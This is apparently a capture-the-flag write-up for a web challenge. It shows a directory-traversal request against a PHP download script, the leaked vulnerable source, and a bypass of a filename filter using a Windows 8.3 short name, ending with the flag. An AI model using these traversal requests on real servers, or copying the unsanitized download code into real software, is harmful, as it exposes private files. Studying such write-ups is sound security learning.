The challenge website looked like this:
The download links had the following format: download.php?f=test.cpp
The script was vulnerable to directory traversal, allowing us to get the source of the index page by requesting download.php?f=../index.php
which gave us the following source code:
<?php
/**
*
*/
include('file_list.php');
?>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0 Level 2//EN">
<html>
<head>
<title>Uploader</title>
</head>
<body>
<h1>Simple Uploader</h1>
<p>There are no upload features.</p>
<h3>Files</h3>
<table width="100%" border="1">
<tr>
<th>#</th>
<th>Filename</th>
<th>Size</th>
<th>Link</th>
</tr>
<?php foreach($files as $file): ?>
<?php if($file[0]) continue; // visible flag ?>
<tr>
<td><?= $file[1]; ?></td>
<td><?= $file[2]; ?></td>
<td><?= $file[3]; ?> bytes</td>
<td><a href="download.php?f=<?= $file[4]; ?>">Download</a></td>
</tr>
<?php endforeach;?>
</table>
</body>
</html>
And download.php via download.php?f=../download.php
:
<?php
header("Content-Type: application/octet-stream");
if(stripos($_GET['f'], 'file_list') !== FALSE) die();
readfile('uploads/' . $_GET['f']); // safe_dir is enabled.
?>
Clearly the goal is getting the contents of file_list.php, but the download script checks if requested filename contains 'file_list'. After some thinking and realizing the server is running Windows, we decided to try converting the filename to 8.3 / short filename. We requested download.php?f=../file_l~1.php
and got file_list.php's source:
<?php
$files = [
[FALSE, 1, 'test.cpp', 1135, 'test.cpp'],
[FALSE, 2, 'test.c', 74, 'test.c'],
[TRUE, 3, 'flag_c82e41f5bb7c8d4b947c9586444578ade88fe0d7', 35, 'flag_c82e41f5bb7c8d4b947c9586444578ade88fe0d7'],
[FALSE, 4, 'test.rb', 1446, 'test.rb'],
];
Having the flag's filename, we downloaded it by requesting download.php?f=flag_c82e41f5bb7c8d4b947c9586444578ade88fe0d7
and received the flag:
TWCTF{Hotto_Smile}